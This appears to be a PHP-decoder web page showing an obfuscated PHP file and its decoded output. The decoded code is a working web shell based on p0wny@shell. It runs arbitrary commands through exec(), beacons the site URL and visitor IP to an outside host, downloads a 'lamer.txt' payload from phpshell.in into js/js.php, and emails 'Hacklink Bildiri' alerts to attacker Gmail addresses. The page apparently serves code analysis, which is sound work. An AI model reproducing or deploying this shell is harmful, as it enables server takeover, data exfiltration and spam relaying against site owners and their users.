Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

<?php ${"G\x4c\x4f\x42AL\x53"}["\x68\x77\x6f\x65\x70\x67\x74"]="\x68\x65a\x64e\x72";${"\x4..

Decoded Output download

<?php ${"GLOBALS"}["hwoepgt"]="header";${"GLOBALS"}["pbkgpkm"]="y";${"GLOBALS"}["uyipaclgrf"]="yol";${"GLOBALS"}["bhacpvaks"]="datasi";${"GLOBALS"}["ybnzpong"]="datas";${"GLOBALS"}["crwnpb"]="i";${"GLOBALS"}["ojclhyxyupu"]="ver";${"GLOBALS"}["ueftpteoe"]="datasi";${"GLOBALS"}["hniibhefr"]="response";${"GLOBALS"}["weyhywf"]="match";${"GLOBALS"}["imlcdsjgdze"]="cmd";${"GLOBALS"}["rerxlcm"]="gitt";${"GLOBALS"}["tgswxehp"]="ch";${"GLOBALS"}["qexocucphng"]="x";${"GLOBALS"}["kprlhtcpkpb"]="tmp";${"GLOBALS"}["gqngqidxkut"]="ip";function GetIP(){${"GLOBALS"}["lxuutlkqe"]="ip";if(getenv("HTTP_CLIENT_IP")){${"GLOBALS"}["vqdgnrlkci"]="ip";${${"GLOBALS"}["vqdgnrlkci"]}=getenv("HTTP_CLIENT_IP");}elseif(getenv("HTTP_X_FORWARDED_FOR")){${${"GLOBALS"}["gqngqidxkut"]}=getenv("HTTP_X_FORWARDED_FOR");$sfawmwrqx="ip";if(strstr(${$sfawmwrqx},",")){$tyelrgrxu="ip";$niqxgmipivb="ip";${${"GLOBALS"}["kprlhtcpkpb"]}=explode(",",${$tyelrgrxu});${$niqxgmipivb}=trim(${${"GLOBALS"}["kprlhtcpkpb"]}[0]);}}else{$ryaedapck="ip";${$ryaedapck}=getenv("REMOTE_ADDR");}return${${"GLOBALS"}["lxuutlkqe"]};}${${"GLOBALS"}["qexocucphng"]}=base64_decode("aHR0cDovL2J5cjAwdC5jby9sLQ==").GetIP()."-".base64_encode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);if(function_exists("curl_init")){$ehqolth="x";${"GLOBALS"}["kkkfwgmsvlu"]="ch";${"GLOBALS"}["zqscawhelxt"]="ch";${${"GLOBALS"}["tgswxehp"]}=@curl_init();${"GLOBALS"}["zrikqwl"]="ch";$keplupqkejn="ch";curl_setopt(${$keplupqkejn},CURLOPT_URL,${$ehqolth});curl_setopt(${${"GLOBALS"}["zqscawhelxt"]},CURLOPT_RETURNTRANSFER,true);${${"GLOBALS"}["rerxlcm"]}=curl_exec(${${"GLOBALS"}["zrikqwl"]});curl_close(${${"GLOBALS"}["kkkfwgmsvlu"]});if(${${"GLOBALS"}["rerxlcm"]}==false){$tnyodqkwb="x";@${${"GLOBALS"}["rerxlcm"]}=file_get_contents(${$tnyodqkwb});}}elseif(function_exists("file_get_contents")){${"GLOBALS"}["zuveqhw"]="x";${"GLOBALS"}["sevqtckzhkw"]="gitt";@${${"GLOBALS"}["sevqtckzhkw"]}=file_get_contents(${${"GLOBALS"}["zuveqhw"]});}function featureShell($cmd,$cwd){${"GLOBALS"}["svlrvkjao"]="stdout";${${"GLOBALS"}["svlrvkjao"]}=array();${"GLOBALS"}["puppmzzio"]="stdout";if(preg_match("/^\s*cd\s*\$/",${${"GLOBALS"}["imlcdsjgdze"]})){}elseif(preg_match("/^\s*cd\s+(.+)\s*\$/",${${"GLOBALS"}["imlcdsjgdze"]})){$hfxebwxio="match";${"GLOBALS"}["oydpidcyn"]="cwd";chdir(${${"GLOBALS"}["oydpidcyn"]});preg_match("/^\s*cd\s+(.+)\s*\$/",${${"GLOBALS"}["imlcdsjgdze"]},${${"GLOBALS"}["weyhywf"]});chdir(${$hfxebwxio}[1]);}else{$gpiyean="stdout";$vksukupukv="cwd";chdir(${$vksukupukv});${"GLOBALS"}["aoqmjujuzeu"]="cmd";exec(${${"GLOBALS"}["aoqmjujuzeu"]},${$gpiyean});}return array("stdout"=>${${"GLOBALS"}["puppmzzio"]},"cwd"=>getcwd());}function featurePwd(){return array("cwd"=>getcwd());}if(isset($_GET["feature"])){$qifdff="response";${$qifdff}=NULL;$hiuhksaj="response";switch($_GET["feature"]){case"shell":${$hiuhksaj}=featureShell($_POST["cmd"],$_POST["cwd"]);break;case"pwd":${${"GLOBALS"}["hniibhefr"]}=featurePwd();break;}header("Content-Type: application/json");echo json_encode(${${"GLOBALS"}["hniibhefr"]});die();}if($_POST["query"]){${"GLOBALS"}["hsbxlxwsd"]="veriyfy";$iipceihlknd="data";$grjnvue="data";${${"GLOBALS"}["hsbxlxwsd"]}=stripslashes(stripslashes($_POST["query"]));${$grjnvue}="data.txt";${"GLOBALS"}["citgkrhhmg"]="ver";@touch("data.txt");${${"GLOBALS"}["ojclhyxyupu"]}=@fopen(${$iipceihlknd},"w");${"GLOBALS"}["lhblbbmi"]="veriyfy";@fwrite(${${"GLOBALS"}["citgkrhhmg"]},${${"GLOBALS"}["lhblbbmi"]});@fclose(${${"GLOBALS"}["ojclhyxyupu"]});}else{${"GLOBALS"}["qrygsfcdyp"]="datas";${${"GLOBALS"}["qrygsfcdyp"]}=@fopen("data.txt","r");${${"GLOBALS"}["crwnpb"]}=0;while(${${"GLOBALS"}["crwnpb"]}<=5){${"GLOBALS"}["uwwgku"]="blue";${"GLOBALS"}["timnvrzpbu"]="blue";${${"GLOBALS"}["crwnpb"]}++;${${"GLOBALS"}["timnvrzpbu"]}=@fgets(${${"GLOBALS"}["ybnzpong"]},1024);echo${${"GLOBALS"}["uwwgku"]};}}${${"GLOBALS"}["bhacpvaks"]}=@fopen("js/js.php","r");if(${${"GLOBALS"}["ueftpteoe"]}){}else{$dhbxqu="data";$liugcn="header";$vymvluz="data";$euhfxgeiftv="dos";${"GLOBALS"}["khmkmqrlobsq"]="dos";@mkdir("js");${"GLOBALS"}["hmmrqvjyb"]="ver";${${"GLOBALS"}["khmkmqrlobsq"]}=file_get_contents("http://phpshell.in/txt/lamer.txt");${$vymvluz}="js/js.php";@touch("js/js.php");$qgikwa="ver";${${"GLOBALS"}["ojclhyxyupu"]}=@fopen(${$dhbxqu},"w");@fwrite(${${"GLOBALS"}["hmmrqvjyb"]},${$euhfxgeiftv});${"GLOBALS"}["beoexrmppjc"]="header";@fclose(${$qgikwa});${${"GLOBALS"}["uyipaclgrf"]}="http://".$_SERVER["HTTP_HOST"]."".$_SERVER["REQUEST_URI"]."";${${"GLOBALS"}["pbkgpkm"]}="<h1>Sender Yazdirildi.<br/> SITE YOL : ".${${"GLOBALS"}["uyipaclgrf"]}."<br/>Sender Yolu : js/js.php</h1>";${$liugcn}.="From: SheLL Boot <[email protected]>
";${${"GLOBALS"}["beoexrmppjc"]}.="Content-Type: text/html;
 charset=utf-8
";@mail("[email protected]","Hacklink Bildiri","$y",${${"GLOBALS"}["hwoepgt"]});@mail("[email protected]","Hacklink Bildiri","$y",${${"GLOBALS"}["hwoepgt"]});}echo "<!DOCTYPE html>

<html>

    <head>
        <meta charset="UTF-8\" />
        <title>p0wny@shell:~#</title>
        <meta name=\"viewport" content="width=device-width, initial-scale=1.0\" />
        <style>
            html, body {
                margin: 0;
                padding: 0;
                background: #333;
                color: #eee;
                font-family: monospace;
            }
            #shell {
                background: #222;
                max-width: 800px;
                margin: 50px auto 0 auto;
                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
            }
            #shell-content {
                height: 500px;
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
            }
            #shell-logo {
                font-weight: bold;
                color: #FF4180;
                text-align: center;
            }
            .shell-prompt {
                font-weight: bold;
                color: #75DF0B;
            }
            .shell-prompt > span {
                color: #1BC9E7;
            }
            #shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
            }
            #shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }
            #shell-input > input {
                flex-grow: 1;
                height: 30px;
                line-height: 30px;
                padding: 0 5px;
                border: none;
                background: transparent;
                color: #eee;
                font-family: monospace;
                font-size: 10pt;
            }
        </style>

        <script src="https://code.jquery.com/jquery-3.1.1.min.js" integrity=\"sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8=\" crossorigin="anonymous"></script>

        <script>
            var CWD = null;
            function featureShell(command) {
                var eShellContent = document.getElementById("shell-content");
                function _insertCommand(command) {
                    eShellContent.innerHTML += "\n\n\";
                    eShellContent.innerHTML += `<span class=\"shell-prompt\">\${genPrompt(CWD)}</span> `;
                    eShellContent.innerHTML += escapeHtml(command);
                    eShellContent.innerHTML += "\n";
                    eShellContent.scrollTop = eShellContent.scrollHeight;
                }
                function _insertStdout(stdout) {
                    eShellContent.innerHTML += escapeHtml(stdout);
                    eShellContent.scrollTop = eShellContent.scrollHeight;
                }
                _insertCommand(command);
                return \$.post("?feature=shell\", {cmd: command, cwd: CWD}, \"json\")
                    .then(response => _insertStdout(response.stdout.join(\"
\")) || response)
                    .then(response => updateCwd(response.cwd) || response)
                    .fail(error => _insertStdout(\"AJAX ERROR: \" + JSON.stringify(error)));
            }
            function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split(\"/").length > 3) {
                    var splittedCwd = cwd.split(\"/");
                    shortCwd = `/\${splittedCwd[splittedCwd.length-2]}/\${splittedCwd[splittedCwd.length-1]}`;
                }
                return `p0wny@shell:<span title=\"\${cwd}\">\${shortCwd}</span>#`
            }
            function updateCwd(cwd) {
                if (cwd) {
                    CWD = cwd;
                    _updatePrompt();
                    return;
                }
                return \$.post("?feature=pwd", {}, "json\")
                    .then(response => CWD = (response.cwd) || response)
                    .then(response => _updatePrompt() || response)
                    .fail(error => console.error(error));
            }
            function escapeHtml(string) {
                return string
                    .replace(/&/g, \"&amp;")
                    .replace(/</g, \"&lt;\")
                    .replace(/>/g, "&gt;\");
            }
            function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }
            function _onShellCmdKeyDown(event) {
                var eShellCmdInput = document.getElementById(\"shell-cmd");
                if (event.key == \"Enter\") {
                    featureShell(eShellCmdInput.value);
                    eShellCmdInput.value = \"\";
                }
            }
            window.onload = function() {
                updateCwd();
            };
        </script>
    </head>

    <body>
        <div id=\"shell">
            <pre id=\"shell-content">
                <div id="shell-logo\">
        ___                         ____      _          _ _        _  _   <span></span>
 _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
|_|                         |___/  \____/                                  <span></span>
                </div>
            </pre>
            <div id=\"shell-input">
                <label for="shell-cmd" id="shell-prompt\" class="shell-prompt">???</label>
                <input id=\"shell-cmd\" name=\"cmd\" onkeydown="_onShellCmdKeyDown(event)"/>
            </div>
        </div>
    </body>

</html>

"; ?>

Did this file decode correctly?

Original Code

<?php ${"G\x4c\x4f\x42AL\x53"}["\x68\x77\x6f\x65\x70\x67\x74"]="\x68\x65a\x64e\x72";${"\x47L\x4f\x42A\x4c\x53"}["\x70\x62kg\x70\x6b\x6d"]="\x79";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x75\x79i\x70\x61\x63lg\x72\x66"]="yol";${"\x47L\x4f\x42A\x4c\x53"}["b\x68a\x63\x70\x76\x61k\x73"]="\x64\x61\x74\x61\x73\x69";${"G\x4cOBAL\x53"}["yb\x6e\x7a\x70o\x6e\x67"]="d\x61\x74\x61\x73";${"\x47\x4cO\x42A\x4c\x53"}["\x63r\x77np\x62"]="\x69";${"\x47L\x4f\x42A\x4c\x53"}["o\x6a\x63lh\x79\x78\x79u\x70\x75"]="\x76\x65r";${"G\x4c\x4f\x42\x41\x4c\x53"}["ue\x66t\x70\x74\x65\x6f\x65"]="da\x74a\x73\x69";${"\x47\x4cO\x42\x41\x4c\x53"}["h\x6eii\x62\x68\x65\x66r"]="re\x73\x70\x6f\x6e\x73\x65";${"\x47\x4c\x4fB\x41L\x53"}["\x77\x65\x79\x68\x79\x77\x66"]="\x6da\x74\x63\x68";${"G\x4c\x4f\x42ALS"}["\x69\x6d\x6ccd\x73\x6a\x67\x64\x7a\x65"]="\x63\x6d\x64";${"G\x4c\x4f\x42\x41\x4c\x53"}["re\x72\x78lc\x6d"]="\x67\x69\x74\x74";${"G\x4c\x4f\x42\x41L\x53"}["\x74\x67\x73\x77\x78\x65\x68\x70"]="\x63\x68";${"\x47\x4cO\x42\x41\x4c\x53"}["q\x65\x78ocu\x63\x70h\x6eg"]="\x78";${"\x47L\x4f\x42A\x4c\x53"}["k\x70r\x6c\x68\x74\x63\x70\x6b\x70b"]="t\x6d\x70";${"\x47\x4c\x4f\x42\x41LS"}["\x67\x71n\x67\x71idx\x6but"]="i\x70";function GetIP(){${"\x47\x4cO\x42\x41\x4c\x53"}["l\x78\x75\x75t\x6c\x6b\x71e"]="\x69\x70";if(getenv("\x48TT\x50\x5f\x43L\x49EN\x54_\x49\x50")){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76\x71\x64\x67nr\x6ckci"]="i\x70";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x76\x71\x64\x67\x6e\x72\x6c\x6b\x63\x69"]}=getenv("\x48TT\x50_\x43L\x49\x45\x4eT\x5fIP");}elseif(getenv("\x48\x54T\x50_\x58\x5fF\x4f\x52\x57\x41RD\x45\x44\x5f\x46O\x52")){${${"\x47L\x4f\x42A\x4cS"}["\x67\x71\x6e\x67\x71\x69\x64\x78k\x75\x74"]}=getenv("H\x54TP\x5f\x58_\x46\x4fR\x57ARDE\x44\x5fF\x4f\x52");$sfawmwrqx="\x69\x70";if(strstr(${$sfawmwrqx},",")){$tyelrgrxu="\x69\x70";$niqxgmipivb="ip";${${"G\x4cO\x42\x41\x4c\x53"}["\x6b\x70\x72\x6c\x68\x74c\x70k\x70\x62"]}=explode(",",${$tyelrgrxu});${$niqxgmipivb}=trim(${${"\x47\x4cOB\x41L\x53"}["\x6bp\x72\x6ch\x74\x63pk\x70\x62"]}[0]);}}else{$ryaedapck="\x69p";${$ryaedapck}=getenv("\x52\x45MOTE_A\x44DR");}return${${"\x47L\x4fB\x41\x4c\x53"}["\x6c\x78\x75\x75\x74\x6c\x6bq\x65"]};}${${"GL\x4f\x42A\x4c\x53"}["\x71\x65\x78o\x63u\x63\x70h\x6e\x67"]}=base64_decode("\x61\x48\x520\x63Do\x76\x4c2\x4a\x35\x63\x6aAw\x64\x435\x6aby9sLQ=\x3d").GetIP()."-".base64_encode("h\x74t\x70://".$_SERVER["\x48T\x54\x50_\x48\x4f\x53T"].$_SERVER["R\x45Q\x55EST_UR\x49"]);if(function_exists("\x63\x75r\x6c\x5fi\x6e\x69\x74")){$ehqolth="\x78";${"G\x4cO\x42A\x4c\x53"}["\x6b\x6b\x6b\x66\x77gm\x73v\x6c\x75"]="ch";${"\x47\x4cO\x42A\x4cS"}["\x7aqs\x63a\x77h\x65l\x78\x74"]="\x63\x68";${${"G\x4cO\x42A\x4c\x53"}["\x74\x67\x73\x77\x78\x65h\x70"]}=@curl_init();${"\x47\x4c\x4fB\x41L\x53"}["zri\x6b\x71\x77\x6c"]="c\x68";$keplupqkejn="c\x68";curl_setopt(${$keplupqkejn},CURLOPT_URL,${$ehqolth});curl_setopt(${${"\x47\x4cO\x42\x41L\x53"}["zq\x73c\x61\x77\x68\x65lx\x74"]},CURLOPT_RETURNTRANSFER,true);${${"GLO\x42\x41\x4c\x53"}["\x72e\x72xlcm"]}=curl_exec(${${"\x47\x4cO\x42A\x4cS"}["z\x72\x69k\x71\x77\x6c"]});curl_close(${${"G\x4cO\x42\x41\x4c\x53"}["\x6bkk\x66\x77\x67m\x73vlu"]});if(${${"\x47\x4c\x4fB\x41\x4cS"}["\x72e\x72xl\x63\x6d"]}==false){$tnyodqkwb="x";@${${"\x47\x4cO\x42\x41LS"}["\x72\x65\x72\x78\x6c\x63m"]}=file_get_contents(${$tnyodqkwb});}}elseif(function_exists("fil\x65\x5f\x67\x65t\x5fco\x6e\x74\x65\x6et\x73")){${"\x47L\x4fB\x41\x4cS"}["\x7a\x75veq\x68w"]="x";${"\x47L\x4f\x42AL\x53"}["s\x65\x76\x71\x74\x63\x6bz\x68\x6b\x77"]="\x67\x69\x74\x74";@${${"\x47L\x4f\x42A\x4c\x53"}["\x73\x65\x76\x71\x74\x63k\x7ah\x6b\x77"]}=file_get_contents(${${"GL\x4f\x42AL\x53"}["\x7a\x75\x76e\x71hw"]});}function featureShell($cmd,$cwd){${"\x47\x4c\x4fB\x41L\x53"}["\x73vl\x72\x76\x6bj\x61\x6f"]="s\x74\x64o\x75\x74";${${"G\x4c\x4fBAL\x53"}["sv\x6crvk\x6aa\x6f"]}=array();${"\x47\x4cOBA\x4cS"}["\x70up\x70mz\x7a\x69\x6f"]="s\x74d\x6fu\x74";if(preg_match("/^\\s*c\x64\\s*\$/",${${"\x47\x4cOB\x41\x4cS"}["\x69\x6d\x6c\x63\x64\x73\x6a\x67\x64\x7a\x65"]})){}elseif(preg_match("/^\\s*\x63\x64\x5cs+(\x2e+)\\\x73*\$/",${${"\x47L\x4f\x42\x41\x4c\x53"}["\x69\x6d\x6cc\x64sjgd\x7ae"]})){$hfxebwxio="m\x61\x74\x63\x68";${"\x47\x4cO\x42\x41LS"}["o\x79\x64pi\x64\x63y\x6e"]="c\x77\x64";chdir(${${"\x47\x4c\x4fBA\x4c\x53"}["\x6f\x79dp\x69\x64\x63y\x6e"]});preg_match("/^\\\x73*c\x64\x5cs+(.+)\x5c\x73*\$/",${${"GLOB\x41L\x53"}["\x69\x6d\x6ccd\x73j\x67\x64\x7a\x65"]},${${"\x47LO\x42\x41\x4c\x53"}["we\x79hy\x77\x66"]});chdir(${$hfxebwxio}[1]);}else{$gpiyean="s\x74\x64out";$vksukupukv="c\x77d";chdir(${$vksukupukv});${"\x47\x4c\x4fBA\x4c\x53"}["\x61oqm\x6a\x75\x6auz\x65\x75"]="\x63\x6dd";exec(${${"\x47\x4c\x4fBA\x4c\x53"}["\x61\x6f\x71mju\x6a\x75\x7a\x65\x75"]},${$gpiyean});}return array("st\x64o\x75t"=>${${"\x47LO\x42\x41\x4cS"}["pupp\x6d\x7a\x7aio"]},"c\x77d"=>getcwd());}function featurePwd(){return array("c\x77d"=>getcwd());}if(isset($_GET["\x66e\x61\x74\x75\x72e"])){$qifdff="\x72es\x70o\x6e\x73\x65";${$qifdff}=NULL;$hiuhksaj="respon\x73\x65";switch($_GET["\x66ea\x74\x75r\x65"]){case"\x73he\x6cl":${$hiuhksaj}=featureShell($_POST["\x63md"],$_POST["c\x77\x64"]);break;case"p\x77d":${${"\x47\x4c\x4fB\x41L\x53"}["h\x6e\x69\x69bh\x65\x66\x72"]}=featurePwd();break;}header("Co\x6e\x74en\x74-Typ\x65:\x20\x61p\x70l\x69\x63\x61tio\x6e/\x6as\x6f\x6e");echo json_encode(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x68\x6eii\x62h\x65\x66r"]});die();}if($_POST["\x71uer\x79"]){${"GL\x4fB\x41\x4cS"}["\x68\x73\x62\x78\x6c\x78\x77\x73d"]="v\x65\x72i\x79\x66y";$iipceihlknd="d\x61\x74\x61";$grjnvue="\x64\x61t\x61";${${"\x47L\x4fB\x41LS"}["\x68\x73\x62x\x6cx\x77\x73\x64"]}=stripslashes(stripslashes($_POST["q\x75\x65ry"]));${$grjnvue}="\x64at\x61\x2etxt";${"G\x4c\x4f\x42A\x4c\x53"}["c\x69\x74\x67k\x72h\x68mg"]="\x76e\x72";@touch("\x64\x61\x74\x61.\x74\x78\x74");${${"\x47L\x4f\x42\x41\x4c\x53"}["o\x6a\x63\x6c\x68\x79\x78\x79\x75\x70u"]}=@fopen(${$iipceihlknd},"w");${"\x47LO\x42A\x4cS"}["l\x68\x62\x6c\x62b\x6d\x69"]="\x76e\x72\x69\x79f\x79";@fwrite(${${"G\x4c\x4fB\x41\x4c\x53"}["c\x69\x74\x67kr\x68\x68m\x67"]},${${"\x47\x4c\x4fB\x41LS"}["l\x68b\x6cb\x62\x6di"]});@fclose(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["o\x6a\x63\x6c\x68yxy\x75\x70u"]});}else{${"\x47L\x4f\x42\x41\x4c\x53"}["\x71r\x79\x67\x73f\x63d\x79p"]="d\x61\x74\x61s";${${"GL\x4f\x42\x41\x4cS"}["qry\x67\x73\x66\x63\x64\x79p"]}=@fopen("d\x61\x74\x61.\x74xt","r");${${"\x47\x4cO\x42AL\x53"}["\x63r\x77\x6e\x70\x62"]}=0;while(${${"\x47LO\x42\x41\x4cS"}["\x63\x72\x77npb"]}<=5){${"\x47LO\x42\x41\x4cS"}["u\x77\x77g\x6bu"]="b\x6c\x75e";${"\x47\x4c\x4fBA\x4cS"}["\x74\x69\x6d\x6ev\x72\x7a\x70\x62u"]="b\x6cue";${${"\x47\x4cO\x42\x41\x4cS"}["\x63rwnp\x62"]}++;${${"\x47\x4c\x4fB\x41LS"}["t\x69\x6dnvr\x7ap\x62\x75"]}=@fgets(${${"\x47\x4c\x4f\x42AL\x53"}["y\x62\x6ez\x70\x6f\x6eg"]},1024);echo${${"G\x4cOB\x41L\x53"}["uw\x77\x67\x6bu"]};}}${${"GLOB\x41LS"}["\x62h\x61\x63\x70\x76ak\x73"]}=@fopen("\x6as/js.ph\x70","r");if(${${"G\x4c\x4fBA\x4cS"}["\x75\x65\x66\x74p\x74\x65\x6f\x65"]}){}else{$dhbxqu="d\x61\x74\x61";$liugcn="\x68\x65a\x64e\x72";$vymvluz="\x64\x61t\x61";$euhfxgeiftv="\x64\x6f\x73";${"GL\x4f\x42\x41L\x53"}["kh\x6d\x6b\x6d\x71\x72l\x6f\x62\x73q"]="\x64\x6fs";@mkdir("j\x73");${"G\x4c\x4f\x42A\x4c\x53"}["\x68\x6dm\x72q\x76j\x79\x62"]="\x76\x65\x72";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x68m\x6b\x6d\x71\x72\x6cobs\x71"]}=file_get_contents("\x68ttp://\x70h\x70\x73h\x65\x6cl.i\x6e/\x74xt/l\x61\x6der.tx\x74");${$vymvluz}="j\x73/\x6as\x2eph\x70";@touch("\x6a\x73/\x6as.p\x68\x70");$qgikwa="\x76\x65\x72";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x6a\x63l\x68yx\x79\x75pu"]}=@fopen(${$dhbxqu},"w");@fwrite(${${"G\x4c\x4f\x42A\x4c\x53"}["\x68\x6d\x6drqvjy\x62"]},${$euhfxgeiftv});${"G\x4c\x4fB\x41\x4cS"}["b\x65oe\x78r\x6dppjc"]="h\x65\x61\x64er";@fclose(${$qgikwa});${${"\x47\x4c\x4f\x42A\x4c\x53"}["u\x79i\x70a\x63\x6c\x67rf"]}="\x68\x74\x74p://".$_SERVER["HT\x54\x50\x5f\x48\x4fST"]."".$_SERVER["\x52\x45QU\x45\x53\x54_URI"]."";${${"G\x4c\x4fB\x41\x4c\x53"}["pb\x6b\x67\x70km"]}="\x3c\x681>\x53\x65n\x64\x65r Yaz\x64\x69\x72\x69\x6c\x64\x69.<\x62r/>\x20SITE\x20YOL\x20: ".${${"\x47\x4c\x4f\x42\x41L\x53"}["\x75yi\x70ac\x6c\x67r\x66"]}."<br/\x3e\x53e\x6ed\x65r\x20Yol\x75 :\x20\x6as/js\x2e\x70hp\x3c/\x68\x31>";${$liugcn}.="Fr\x6f\x6d:\x20S\x68\x65\x4c\x4c Bo\x6ft \x3cs\x75p\x70o\x72\x40nic.\x6f\x72\x67\x3e\n";${${"G\x4c\x4f\x42\x41\x4cS"}["\x62eoex\x72mpp\x6a\x63"]}.="\x43\x6f\x6et\x65\x6et-Ty\x70\x65: \x74\x65\x78\x74/\x68\x74\x6dl;\n\x20c\x68\x61rs\x65\x74\x3d\x75tf-\x38\n";@mail("b\x79h\x65\x72o\x344\x40g\x6da\x69\x6c\x2ecom","H\x61\x63k\x6cin\x6b\x20B\x69\x6cd\x69\x72\x69","$y",${${"GL\x4fBA\x4cS"}["h\x77o\x65\x70gt"]});@mail("p\x72\x6ff\x73\x65oc\x75@\x67\x6da\x69l.c\x6fm","\x48ac\x6bli\x6e\x6b \x42ild\x69\x72i","$y",${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x68\x77\x6fe\x70\x67\x74"]});}echo "\x3c\x21DOCTY\x50\x45\x20h\x74m\x6c>\n\n\x3c\x68tml\x3e\n\n\x20\x20\x20\x20<\x68\x65a\x64\x3e\n\x20 \x20   \x20\x20<me\x74a c\x68\x61rset\x3d\x22\x55\x54\x46-8\" /\x3e\n \x20   \x20 \x20\x3c\x74itl\x65>p0\x77\x6e\x79\x40s\x68el\x6c:~#</\x74i\x74l\x65>\n\x20   \x20 \x20\x20\x3c\x6d\x65\x74a\x20nam\x65\x3d\"\x76\x69ew\x70\x6f\x72\x74\x22 \x63o\x6et\x65\x6e\x74=\x22wi\x64t\x68=\x64e\x76ice-\x77\x69\x64th, in\x69\x74i\x61l-\x73ca\x6c\x65\x3d\x31\x2e0\"\x20/\x3e\n \x20   \x20 \x20\x3c\x73\x74\x79le>\n    \x20 \x20\x20\x20   h\x74ml,\x20bod\x79\x20{\n  \x20  \x20\x20 \x20\x20\x20\x20 \x20 \x20\x6d\x61r\x67\x69n:\x200\x3b\n     \x20\x20\x20\x20\x20     \x20\x70\x61d\x64\x69n\x67: \x30\x3b\n\x20   \x20  \x20 \x20\x20\x20\x20  \x20\x62\x61ck\x67r\x6fu\x6e\x64:\x20#\x33\x333\x3b\n   \x20\x20\x20 \x20\x20\x20\x20\x20    c\x6f\x6co\x72: #eee\x3b\n \x20 \x20\x20\x20\x20   \x20 \x20\x20\x20 \x66o\x6et-\x66\x61\x6dil\x79:\x20\x6d\x6fn\x6f\x73p\x61ce\x3b\n \x20\x20\x20 \x20  \x20\x20  }\n   \x20\x20 \x20\x20 \x20  \x23\x73h\x65l\x6c {\n\x20\x20 \x20\x20\x20    \x20  \x20\x20\x20b\x61c\x6bg\x72ou\x6e\x64: #22\x32\x3b\n \x20\x20\x20\x20    \x20\x20    \x20\x6d\x61\x78-\x77i\x64\x74h:\x208\x30\x30px;\n\x20\x20    \x20 \x20\x20\x20   \x20 m\x61r\x67i\x6e:\x20\x35\x30px\x20\x61u\x74o\x20\x30 au\x74o\x3b\n\x20\x20 \x20\x20     \x20 \x20\x20\x20\x20\x62o\x78-\x73\x68a\x64o\x77: \x30\x20\x30\x205px\x20r\x67b\x61(0,\x20\x30,\x200,\x20.\x33)\x3b\n  \x20  \x20  \x20\x20\x20  \x20 \x20\x66\x6f\x6e\x74-si\x7ae:\x2010\x70\x74;\n \x20  \x20\x20   \x20  }\n  \x20\x20\x20\x20\x20 \x20\x20\x20\x20\x23\x73hell-c\x6fn\x74\x65n\x74 {\n \x20  \x20\x20\x20 \x20\x20\x20  \x20  \x68e\x69ght: 5\x30\x30p\x78\x3b\n\x20   \x20  \x20\x20    \x20\x20 overfl\x6f\x77: au\x74\x6f\x3b\n\x20  \x20\x20\x20  \x20  \x20   \x20p\x61dding: \x35px;\n \x20\x20 \x20 \x20\x20\x20\x20\x20\x20 \x20  w\x68ite-spa\x63e: p\x72\x65-w\x72\x61p;\n  \x20\x20\x20  \x20  \x20\x20}\n \x20\x20\x20 \x20\x20    \x20#\x73h\x65\x6c\x6c-lo\x67\x6f {\n  \x20        \x20\x20\x20  \x66o\x6e\x74-we\x69\x67\x68t: \x62\x6fl\x64\x3b\n\x20\x20\x20  \x20\x20\x20  \x20 \x20\x20\x20 \x63\x6f\x6co\x72:\x20\x23FF\x341\x38\x30\x3b\n       \x20 \x20\x20\x20\x20  \x20te\x78\x74-\x61\x6c\x69g\x6e:\x20\x63\x65\x6ete\x72\x3b\n\x20\x20 \x20\x20\x20\x20\x20\x20\x20  }\n   \x20 \x20\x20\x20 \x20 \x20\x2esh\x65\x6c\x6c-\x70\x72\x6fm\x70\x74\x20{\n\x20\x20 \x20 \x20     \x20\x20\x20  fo\x6e\x74-wei\x67\x68t:\x20bold;\n  \x20\x20  \x20   \x20 \x20\x20\x20 c\x6f\x6c\x6f\x72:\x20\x23\x37\x35D\x460B\x3b\n\x20\x20 \x20\x20 \x20 \x20\x20\x20 }\n\x20\x20\x20 \x20\x20 \x20    .\x73h\x65l\x6c-p\x72\x6f\x6d\x70t\x20\x3e \x73\x70\x61\x6e\x20{\n\x20\x20 \x20  \x20\x20 \x20  \x20  \x20\x63o\x6c\x6fr:\x20\x23\x31\x42\x43\x39E\x37;\n\x20 \x20\x20      \x20\x20}\n\x20  \x20  \x20 \x20\x20 \x20#\x73he\x6cl-i\x6e\x70\x75\x74 {\n   \x20\x20      \x20 \x20  \x64isplay: fl\x65x;\n\x20 \x20   \x20 \x20\x20  \x20  \x20b\x6fx-\x73\x68\x61dow:\x200 -1px \x30\x20r\x67ba(\x30, 0, \x30, \x2e\x33);\n \x20  \x20    \x20 \x20    bord\x65r-t\x6f\x70: r\x67\x62\x61(\x325\x35,\x2025\x35,\x20\x325\x35, \x2e05)\x20s\x6f\x6ci\x64 1p\x78\x3b\n    \x20   \x20 \x20\x20}\n   \x20\x20\x20   \x20  #\x73\x68\x65ll-inp\x75\x74\x20\x3e\x20\x6ca\x62e\x6c {\n\x20\x20 \x20   